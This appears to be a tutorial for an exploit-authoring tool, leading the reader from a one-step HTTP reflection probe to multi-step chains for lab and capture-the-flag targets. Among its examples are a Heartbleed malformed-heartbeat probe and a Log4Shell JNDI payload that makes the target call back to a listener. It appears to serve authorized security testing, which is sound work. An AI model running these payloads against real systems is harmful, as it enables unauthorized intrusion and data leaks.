# Authoring solutions

> A path from your very first solution file to expert-level chains. Work through the stages in order.

This guide takes you from your very first solution file to expert-level chains. Work through the stages in order: each one builds on the last, and each ends with a checkpoint so you know you are ready to move on. If you already know a stage, skim it and jump ahead.

Every solution has the same shape: a few lines about the attack at the top, then the steps. Each step starts with its `identity` and a name, then English directive lines, and ends with an `expect`, the pass or fail test. The rest of a step depends on the protocol.

## Stage 1: your very first file

What you learn: the shape of a solution file, how to run one, and how to read the result.

The smallest useful solution is a single HTTP step. Here is the whole file:

```text
id: web/reflection-probe
param: template

http reflect
  get with "REFLECTED_7x7"
  # send a unique marker in the template param and confirm it comes back
  expect "REFLECTED_7x7" in the response
```

Read it top to bottom:

- `id` names the attack. `param` names the input parameter, `template` here.
- The block after it is one step. `http` is the protocol, `reflect` is the step name. It sends `REFLECTED_7x7` in the `template` parameter of a GET request.
- `expect` is the pass or fail test: the step passes only if the response contains `REFLECTED_7x7`.

Save it as `solution.txt` and run it against a target:

```sh
exploitmatic solution.txt http://example.com/render
```

The runtime prints one line per step and a result. When the value comes back, the result is verified; when it does not, the result is not verified. A bad file or a connection problem stops the run with an error message instead.

Checkpoint: you can write a one-step HTTP solution, run it, and read the result.

## Stage 2: get the payload to the right place

What you learn: the ways an HTTP step can carry a value, and how to match a response that varies.

A step is English sentences and the program does the heavy lifting: `get "/login"` gets a page, `post "/api" as json with {"x":1}` posts one, and `expect "marker" in the response` checks the answer. The `http` identity moves the value by the form of the directive:

| directive | the request it makes |
| --- | --- |
| `get "<path>"` | GET the path, no parameter |
| `get with "<value>"` | GET `target?param=value` |
| `get "<path>" with "<value>"` | GET the path with the value in the query parameter |
| `post "<path>" as a form field <name> with "<value>"` | POST, form-encoded |
| `post "<path>" as json with "<value>"` | POST, JSON body |
| `post "<path>" as a raw json with "<value>"` | POST, the body IS the value |
| `post "<path>" as a raw form with "<value>"` | POST, the body IS the value, sent as a form |

Use `get "<path>"` to add to the target URL and `with the header "<name>" set to <value>` to add request headers.

When the response varies a little, use a pattern instead of exact text. The `regex` test matches a pattern; this one accepts either heartbeat record version:

```text
expect the response to match "18030[123]40"
```

The `expect a flag` test is a shortcut: it passes when the response contains a flag-shaped string such as `FLAG{...}`.

Checkpoint: you can choose the right directive for a web target and the right test for the reply.

## Stage 3: reach the flag

What you learn: reading a file on your own machine, the finish line of a capture-the-flag lab.

```text
id: host/read-flag

file read-flag
  read "{flag_path}"
  expect a flag
```

`{flag_path}` is filled in from the `--flag-path` flag. This step reads a file on your own machine:

```sh
exploitmatic solution.txt example.com --flag-path flag.txt
```

The `expect a flag` test passes when the file content looks like `FLAG{...}`.

Checkpoint: you can probe a lab, then read the flag it writes.

## Stage 4: two steps, one conversation

What you learn: how steps run in order, and when a connection stays open between them.

For `tcp`, `tls`, and `websocket` steps the connection stays open across steps. This matters for attacks that need a handshake first: stage the handshake in one step, send the exploit in the next, on the same connection. For `http` steps each step is its own request.

Heartbleed is the classic case. Step 1 opens a TLS connection and proves the server finishes its hello. Step 2 sends the malformed heartbeat and looks for the leak:

```text
id: tls/heartbeat-probe

tls clienthello
  # advertise the heartbeat extension and wait for ServerHelloDone
  send hex "1603030125010001210303..."
  receive until "0e000000"
  receive 65536 bytes
  timeout 5 seconds
  expect "0e000000" in the response

tls malformed-heartbeat
  # send a heartbeat request claiming a payload length with zero payload bytes
  send hex "1803030003014000"
  receive 70000 bytes
  timeout 5 seconds
  expect the response to match "18030[123]40"
```

- `send hex "<hex>"` is the bytes to send, written as hex (or `send hex of "HELO x\r\n"` hex-encodes readable text)
- `receive <n> bytes` is the most bytes to read
- `receive until "<hex>"` stops the read once a marker appears, here the ServerHelloDone message
- `timeout <n> seconds` is how long to wait
- `close the connection` would end the session after the step

The target for a `tls` solution is `host:port`:

```sh
exploitmatic solution.txt example.com:8443
```

Checkpoint: you can replay a real protocol exploit that needs a session.

## Stage 5: values that change

What you learn: reusing values across steps, and following values the server assigns.

Sometimes a later step needs a value that is not known until the run: a session port, a token. Two tools handle this.

Declare your own values at the top with `vars`, and change them mid-flow with `set` on a step:

```text
id: demo/probe
vars:
  marker: ONE

http first
  get with "{marker}"
  set:
    token: TWO
  expect "ONE" in the response

http second
  get with "{token}"
  expect "TWO" in the response
```

Step 1 sends `{marker}` (which is `ONE`) and declares `{token}` as `TWO`. Step 2 sends `{token}` (which is now `TWO`).

When the value comes from the target, `capture` pulls it out of the response. This example follows a server-assigned port:

```text
tcp negotiate
  send hex "010203..."
  capture the value after "6f703a6f747270633a" as port_id
  expect "..." in the response

tcp use-port
  send hex of "otrpc:{port_id}:..."
```

The `value after` shape captures the run of hex after a hex marker and hex-decodes it. Later steps reference `{port_id}` and the runtime fills it in. See [Variables](/docs/solution/variables/) for the rules.

Some servers hand over a value base64-encoded, and the value you need is inside it. The shape form reads as English and the program knows the page shapes: `from` runs the capture over an earlier variable, `base64` decodes the source first, and the shape names the thing (an HTML `form field`, an XML or HTML `attribute`, a JSON `json field`):

```text
http sso
  get "/"
  capture the form field "SAMLRequest" as saml_b64
  capture the attribute "ID" of saml_b64 base64 as reqid
```

The first line stores the base64 `SAMLRequest` from the form; the second decodes it and stores the request id in `reqid`. To send a value back encoded, write the value as `base64 of "text"`; the runtime base64-encodes it after `{var}` substitution, the shape a SAML response expects.

For a WebSocket step, the `send` is treated as text and wrapped into a proper frame automatically, so you do not hand-compute frame lengths:

```text
websocket ws-rpc
  send "{\"jsonrpc\":\"2.0\",\"id\":{port}}"
```

Checkpoint: you can build a conversation that adapts to values it learns along the way.

## Stage 6: make the target phone home

What you learn: out-of-band callbacks and running commands on your own machine.

Some attacks make the target connect back to us. The Log4Shell pattern declares a listener at the top, then checks a callback arrived:

```text
id: log4j/jndi-probe
oob:
  host: 127.0.0.1

http jndi-lookup
  get with "${jndi:ldap://{oob_host}:{oob_port}/hit}"
  # trigger a JNDI lookup back to the listener
  expect the target to call back "300c0201016007"
```

`{oob_host}` and `{oob_port}` are filled in automatically. A port of `0` picks a free one. The `expect the target to call back` test passes when a callback arrives. The marker here is the LDAP bind prefix: the JNDI lookup connects and sends an anonymous bind, and the listener records the raw bytes, so that prefix is what actually arrives. When the target runs in a container, give the listener a routable address (`-oob-host`), because `127.0.0.1` inside the container is the container's own loopback.

The `process` identity runs a command on your own machine and checks its output, like `file`:

```text
id: host/whoami

process whoami
  run "id"
  expect the response to match "uid="
```

The `file` identity works the same way: `read "<path>"` or `write "<path>" with "<data>"`.

Checkpoint: you can build solutions that reach out of band and into the host.

## Stage 7: expert habits

What you learn: combining everything, keeping solutions deterministic, and debugging when they fail.

A real solution mixes the stages. One attack can start with a WebSocket upgrade, follow a server-assigned port, send a JSON-RPC call, and finish with a flag read on the host. Build it one stage at a time, and test each stage against a replica before moving on.

Keep solutions deterministic: fixed bytes, fixed paths, no randomness. The same file against the same target must give the same result, so a run can be repeated and compared any time.

When a run fails, the console points at the problem. Common causes:

| symptom | cause |
| --- | --- |
| unknown identity | the `identity` is not one the runtime implements |
| missing directive | a required directive is missing, for example a `get` or `post` on an `http` step |
| not valid hex | `send hex` or `receive until` on a `tcp`/`tls` step is not hex |
| test failed | the test ran and failed, the attack did not work on this target |

The console report shows what every step sent and received, with the test that ran. It stores no result, so the result always comes from the tests.

Checkpoint: you can write, run, and debug a multi-stage solution on your own.

## Rules of thumb

- Steps run in order, and the `tcp`, `tls`, and `websocket` connection stays open between them.
- A step without a test is recorded but never fails.
- Keep steps deterministic: fixed bytes, fixed paths, no randomness.
- A solution is data only. The runtime never executes anything from it.
- Refine against a local replica first, then verify against an authorized target.

See the [overview](/docs/solution/) for the protocol list and the [Steps](/docs/solution/steps/) page for the step form in detail.